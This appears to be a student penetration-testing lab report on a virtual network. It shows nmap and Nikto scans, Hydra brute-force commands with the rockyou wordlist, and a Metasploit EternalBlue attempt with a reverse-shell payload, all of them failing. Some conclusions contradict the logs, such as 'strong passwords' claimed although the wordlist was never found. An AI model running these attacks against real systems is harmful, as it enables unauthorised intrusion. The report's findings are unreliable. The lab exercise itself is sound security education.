Operating Systems Security (OSS711S) Lab Report	
Lab No:	Lab 3B
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Nature of Lab: **(Lab Objective)**	The objective of this lab is to assess the security of a networked environment by performing network scanning, vulnerability identification, brute force testing, and exploitation. The lab aims to provide practical experience in identifying active hosts, detecting open ports and services, analysing system vulnerabilities, and testing the effectiveness of security configurations. Additionally, the lab focuses on understanding how weak authentication mechanisms can be exploited and how security measures can be improved to protect systems against potential cyber threats.
Due Date:	*27 Apr 2026*
Description of Tools used	
Nmap (Network Mapper)	
Metasploit Framework	
Kali linux	
Hydra	

1. Introduction

In today's digital environment, network security plays a critical role in protecting systems and data from unauthorized access and cyber threats. Organizations must continuously assess their systems to identify vulnerabilities and ensure that proper security measures are in place. Penetration testing techniques are commonly used to evaluate the security posture of a network by simulating real-world attacks.

This lab focuses on performing a series of security assessments within a controlled virtual environment. The activities include network scanning to identify active hosts and services, vulnerability identification to detect system weaknesses, brute force testing to evaluate password strength, and exploitation to determine the extent of potential system compromise.

The purpose of this lab is to provide practical experience in identifying and analysing security flaws, as well as understanding how attackers can exploit these weaknesses. The findings from this assessment are used to recommend appropriate security measures to improve the overall protection of the system.

2. Lab Procedures

The network consists of:
- Windows Server (192.168.91.10)
- Ubuntu Server (192.168.91.50)
- Windows Client (192.168.91.129)
- Kali Linux (Attacker machine)

SECTION A: Network Scanning

Network discovery was performed using nmap to identify active devices.

Command used: nmap -sn 192.168.91.0/24

Active machines were identified:

```
┌──(kali㉿kali)-[~]
└─$ nmap -sn 192.168.91.0/24
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-26 06:27 -0400
Nmap scan report for 192.168.91.1
Host is up (0.0011s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.91.2
Host is up (0.00051s latency).
MAC Address: 00:50:56:F1:A0:B0 (VMware)
Nmap scan report for 192.168.91.10
Host is up (0.00068s latency).
MAC Address: 00:0C:29:3B:F2:CB (VMware)
Nmap scan report for 192.168.91.50
Host is up (0.00083s latency).
MAC Address: 00:0C:29:52:4C:F3 (VMware)
Nmap scan report for 192.168.91.129
Host is up (0.00085s latency).
MAC Address: 00:0C:29:4C:D4:10 (VMware)
Nmap scan report for 192.168.91.254
Host is up (0.00034s latency).
MAC Address: 00:50:56:EF:18:F7 (VMware)
Nmap scan report for 192.168.91.132
Host is up.
Nmap done: 256 IP addresses (7 hosts up) scanned in 5.57 seconds

┌──(kali㉿kali)-[~]
└─$
```

Further scan were performed using : nmap –sS -sV <target ip>

Ubuntu server(192.168.91.50) showed multiple open ports like HTTP,SMTP and IMAP

```
┌──(kali㉿kali)-[~]
└─$ nmap -sS -sV 192.168.91.50
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-26 06:53 -0400
Nmap scan report for 192.168.91.50
Host is up (0.011s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT    STATE SERVICE VERSION
25/tcp  open  smtp    Postfix smtpd
80/tcp  open  http    nginx 1.24.0 (Ubuntu)
143/tcp open  imap    Dovecot imapd (Ubuntu)
MAC Address: 00:0C:29:52:4C:F3 (VMware)
Service Info: Host:  hambata-VMware-Virtual-Platform.localdomain; OS: Linux; CPE: cpe:/o:linux:lin
ux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.05 seconds
```

Windows server(192.168.91.10) showed multiple open ports.

```
┌──(kali㉿kali)-[~]
└─$ nmap -sS -sV 192.168.91.10
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-26 06:35 -0400
Nmap scan report for 192.168.91.10
Host is up (0.0045s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-04-26 10:35:49Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: earnmorecc.com, Site
: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: earnmorecc.com, Site
: Default-First-Site-Name)
3269/tcp open  tcpwrapped
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
MAC Address: 00:0C:29:3B:F2:CB (VMware)
Service Info: Host: WIN-MOQTP63E9VI; OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.28 seconds
```

Windows client(192.168.91.129)

```
┌──(kali㉿kali)-[~]
└─$ nmap -sS -sV 192.168.91.129
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-26 06:55 -0400
Nmap scan report for 192.168.91.129
Host is up (0.0013s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT    STATE SERVICE VERSION
135/tcp open  msrpc   Microsoft Windows RPC
MAC Address: 00:0C:29:4C:D4:10 (VMware)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.80 seconds
```

SECTION B: Vulnerability Identification

Vulnerability scanning was done using: nmap –script vuln <target IP>

```
┌──(kali㉿kali)-[~]
└─$ nmap --script vuln 192.168.91.50
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-26 06:57 -0400
Nmap scan report for 192.168.91.50
Host is up (0.0015s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT    STATE SERVICE
25/tcp  open  smtp
| ssl-dh-params:
|   VULNERABLE:
|   Anonymous Diffie-Hellman Key Exchange MitM Vulnerability
|     State: VULNERABLE
|       Transport Layer Security (TLS) services that use anonymous
|       Diffie-Hellman key exchange only provide protection against passive
|       eavesdropping, and are vulnerable to active man-in-the-middle attacks
|       which could completely compromise the confidentiality and integrity
|       of any data exchanged over the resulting session.
|     Check results:
|       ANONYMOUS DH GROUP 1
|             Cipher Suite: TLS_DH_anon_WITH_CAMELLIA_128_CBC_SHA
|             Modulus Type: Safe prime
|             Modulus Source: RFC2409/Oakley Group 2
|             Modulus Length: 1024
|             Generator Length: 8
|             Public Key Length: 1024
|       ANONYMOUS DH GROUP 2
|             Cipher Suite: TLS_DH_anon_WITH_AES_256_CBC_SHA256
|             Modulus Type: Safe prime
|             Modulus Source: RFC3526/Oakley Group 15
|             Modulus Length: 3072
```

SMB vulnerabilities were checked using: nmap –script smb-vuln* -p 445 192.168.91.50

```
┌──(kali㉿kali)-[~]
└─$ nmap --script smb-vuln* -p 445 192.168.91.50
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-26 07:06 -0400
Nmap scan report for 192.168.91.50
Host is up (0.0013s latency).

PORT    STATE    SERVICE
445/tcp filtered microsoft-ds
MAC Address: 00:0C:29:52:4C:F3 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 1.09 seconds

┌──(kali㉿kali)-[~]
└─$ nmap --script smb-vuln* -p 445 192.168.91.10
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-26 07:08 -0400
Nmap scan report for 192.168.91.10
Host is up (0.0014s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds
MAC Address: 00:0C:29:3B:F2:CB (VMware)

Host script results:
|_smb-vuln-ms10-061: Could not negotiate a connection:SMB: Failed to receive bytes: ERROR
|_smb-vuln-ms10-054: false
```

Anonymous accessnwas tested using smbclient:

```
┌──(kali㉿kali)-[~]
└─$ smbclient -L //192.168.91.50 -U ""
do_connect: Connection to 192.168.91.50 failed (Error NT_STATUS_IO_TIMEOUT)
```

Web vulnerabilities were scanned using Nikto.

```
┌──(kali㉿kali)-[~]
└─$ nikto -h http://192.168.91.50
- Nikto v2.6.0
---------------------------------------------------------------------------
+ Your Nikto installation is out of date.
+ Target IP:          192.168.91.50
+ Target Hostname:    192.168.91.50
+ Target Port:        80
+ Platform:           Linux/Unix
+ Start Time:         2026-04-26 07:26:28 (GMT-4)
---------------------------------------------------------------------------
+ Server: nginx/1.24.0 (Ubuntu)
+ No CGI Directories found (use '-C all' to force check all possible dirs). CGI tests skipped.
+ [013587] /: Suggested security header missing: referrer-policy. See: https://developer.mozilla.o
rg/en-US/docs/Web/HTTP/Headers/Referrer-Policy
+ [013587] /: Suggested security header missing: permissions-policy. See: https://developer.mozill
a.org/en-US/docs/Web/HTTP/Headers/Permissions-Policy
+ [013587] /: Suggested security header missing: x-content-type-options. See: https://developer.mo
zilla.org/en-US/docs/Web/HTTP/Headers/X-Content-Type-Options
+ [013587] /: Suggested security header missing: content-security-policy. See: https://developer.m
ozilla.org/en-US/docs/Web/HTTP/CSP
+ [013587] /: Suggested security header missing: strict-transport-security. See: https://developer
.mozilla.org/en-US/docs/Web/HTTP/Headers/Strict-Transport-Security
+ [007342] /: X-Frame-Options header is deprecated and was replaced with the Content-Security-Poli
cy HTTP header with the frame-ancestors directive. See: https://developer.mozilla.org/en-US/docs/W
eb/HTTP/Reference/Headers/X-Frame-Options
+ [007352] /: The X-Content-Type-Options header is not set. This could allow the user agent to ren
der the content of the site in a different fashion to the MIME type. See: https://www.netsparker.c
om/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ 8048 requests: 0 errors and 7 items reported on the remote host
```

SECTION C: Brute Force Testing

Brute force: Result showed passwords were strong.

```
┌──(kali㉿kali)-[~]
└─$ hydra -l bob -P /usr/share/wordlists/rockyou.txt ssh://192.168.91.50
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret s
ervice organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethi
cs anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-04-26 07:38:58
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce
the tasks: use -t 4
[ERROR] File for passwords not found: /usr/share/wordlists/rockyou.txt

┌──(kali㉿kali)-[~]
└─$ hydra -l bob -P /usr/share/wordlists/rockyou.txt smb://192.168.91.50
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret s
ervice organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethi
cs anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-04-26 07:40:15
[INFO] Reduced number of tasks to 1 (smb does not like parallel connections)
[ERROR] File for passwords not found: /usr/share/wordlists/rockyou.txt

┌──(kali㉿kali)-[~]
└─$ hydra -l administrator -P /usr/share/wordlists/rockyou.txt smb://192.168.91.10
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret s
ervice organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethi
cs anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-04-26 07:40:32
[INFO] Reduced number of tasks to 1 (smb does not like parallel connections)
```

SECTION D: Exploitation

Metasploit tools was used to search and run the exploits.

Command used: msfconsole

```
┌──(kali㉿kali)-[~]
└─$ msfconsole
Metasploit tip: Tired of setting RHOSTS for modules? Try globally
setting it with setg RHOSTS x.x.x.x

      dBBBBBBb  dBBBP dBBBBBBP dBBBBBb  .                    o
        '   dB'                    BBP
    dB'dB'dB' dBBP     dBP     dBP BB
   dB'dB'dB' dBP      dBP     dBP  BB
  dB'dB'dB' dBBBBP   dBP     dBBBBBBB

                                dBBBBBP  dBBBBBb  dBP    dBBBBP dBP dBBBBBBP
          .                   .                 dB' dBP    dB'.BP
                              |       dBP    dBBBB' dBP    dB'.BP dBP    dBP
                            --o--    dBP    dBP    dBP    dB'.BP dBP    dBP
                              |     dBBBBP dBP    dBBBBP dBBBBP dBP    dBP


        o                 To boldly go where no
                           shell has gone before


       =[ metasploit v6.4.116-dev                                 ]
+ -- --=[ 2,623 exploits - 1,326 auxiliary - 1,707 payloads     ]
+ -- --=[ 431 post - 49 encoders - 14 nops - 10 evasion         ]
```

and search eternablue

```
msf > search eternalblue

Matching Modules
================

   #   Name                                          Disclosure Date  Rank     Check  Description
   -   ----                                          ---------------  ----     -----  -----------
   0   exploit/windows/smb/ms17_010_eternalblue      2017-03-14       average  Yes    MS17-010 Et
ernalBlue SMB Remote Windows Kernel Pool Corruption
   1     \_ target: Automatic Target                 .                .        .      .
   2     \_ target: Windows 7                        .                .        .      .
   3     \_ target: Windows Embedded Standard 7      .                .        .      .
   4     \_ target: Windows Server 2008 R2           .                .        .      .
   5     \_ target: Windows 8                        .                .        .      .
   6     \_ target: Windows 8.1                      .                .        .      .
   7     \_ target: Windows Server 2012              .                .        .      .
   8     \_ target: Windows 10 Pro                   .                .        .      .
   9     \_ target: Windows 10 Enterprise Evaluation .                .        .      .
   10  exploit/windows/smb/ms17_010_psexec           2017-03-14       normal   Yes    MS17-010 Et
ernalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
   11    \_ target: Automatic                        .                .        .      .
   12    \_ target: PowerShell                       .                .        .      .
   13    \_ target: Native upload                    .                .        .      .
   14    \_ target: MOF upload                       .                .        .      .
   15    \_ AKA: ETERNALSYNERGY                      .                .        .      .
   16    \_ AKA: ETERNALROMANCE                      .                .        .      .
   17    \_ AKA: ETERNALCHAMPION                     .                .        .      .
   18    \_ AKA: ETERNALBLUE                         .                .        .      .
   19  auxiliary/admin/smb/ms17_010_command          2017-03-14       normal   No     MS17-010 Et
ernalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
```

Exploit attempt:

use exploit/windows/smb/ms17_010_eternalblue

set RHOSTS 192.168.91.10

run

```
msf > use exploit/windows/smb/ms17_010_eternalblue
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.91.10
RHOSTS => 192.168.91.10
msf exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.91.50
LHOST => 192.168.91.50
msf exploit(windows/smb/ms17_010_eternalblue) > run
[-] Handler failed to bind to 192.168.91.50:4444:-  -
[*] Started reverse TCP handler on 0.0.0.0:4444
[*] 192.168.91.10:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[-] 192.168.91.10:445     - An SMB Login Error occurred while connecting to the IPC$ tree.
[*] 192.168.91.10:445     - Scanned 1 of 1 hosts (100% complete)
[-] 192.168.91.10:445 - The target is not vulnerable.
[*] Exploit completed, but no session was created.
msf exploit(windows/smb/ms17_010_eternalblue) > sysinfo
[-] Unknown command: sysinfo. Run the help command for more details.
msf exploit(windows/smb/ms17_010_eternalblue) > getuid
[-] Unknown command: getuid. Run the help command for more details.
```

The exploitation attempt did not succeed because the target system was patched against MS17-010. This demonstrates that proper security hardening was in place, preventing unauthorized access through this well-known vulnerability..

SECTION E: Security Recommendations

1. **Keep systems updated:** Ensure that operating systems and applications are regularly patched. This prevents exploitation of known vulnerabilities like MS17-010, which was already mitigated on the tested machine.
2. **Limit unnecessary services:** Disable or remove services that are not required. Reducing the number of active services lowers the attack surface and makes it harder for attackers to find entry points.
3. **Strengthen authentication**: Enforce strong password policies, including complexity requirements and regular changes. Avoid default or weak credentials, and consider implementing multi-factor authentication where possible.
4. **Harden configurations:** Review system and network configurations to eliminate insecure defaults. For example, restrict access to administrative shares, and apply the principle of least privilege to user accounts.
5. **Monitor and log activity**: Implement continuous monitoring and centralized logging to detect suspicious behavior early. Regular audits help identify misconfigurations or attempted intrusions.
6. **Network segmentation:** Divide the network into zones so that critical systems are isolated from general user traffic. This limits the spread of attacks if one machine is compromised.
7. **User awareness:** Provide training to users on safe practices, such as recognizing phishing attempts and avoiding insecure software downloads. Human error is often the weakest link in security.

3. Lab Challenges/Problems Encountered

During the execution of this lab, several challenges were encountered that affected the progress and required troubleshooting:

One of the main challenges was network connectivity issues between the virtual machines. At times, the machines were unable to communicate with each other due to incorrect IP configurations or network adapter settings in VMware. This required rechecking IP addresses, subnet masks, and gateway configurations.

Another challenge was related to scanning accuracy. Some Nmap scans did not return complete results, possibly due to firewall restrictions or incorrect scanning commands. Additional scan options had to be used to obtain more detailed information.

Brute force testing also presented difficulties, particularly with the configuration of the password list and correct service targeting. Incorrect syntax in Hydra commands initially caused failed attempts, which required adjustments before successful execution.

During the exploitation phase, some exploits did not work as expected. This was due to mismatched versions of services or the absence of known vulnerabilities on the target system. As a result, alternative approaches had to be considered.

Lastly, limited system resources sometimes caused slow performance of the virtual machines, which delayed scanning and testing processes.

4. Conclusion

This lab provided practical experience in assessing the security of a networked system using penetration testing techniques. Through network scanning, We learned how to identify active hosts, open ports, running services, and operating systems. The vulnerability assessment helped me understand how system weaknesses can be detected and analysed.

The brute force testing demonstrated how weak passwords can be easily compromised, highlighting the importance of strong authentication mechanisms. Additionally, the exploitation phase showed how attackers can gain unauthorized access to systems when vulnerabilities are not properly secured.

Overall, the lab improved our understanding of network security, the tools used in penetration testing, and the importance of implementing proper security measures such as strong passwords, system updates, and service hardening. It emphasized the need for continuous monitoring and protection of systems against potential cyber threats.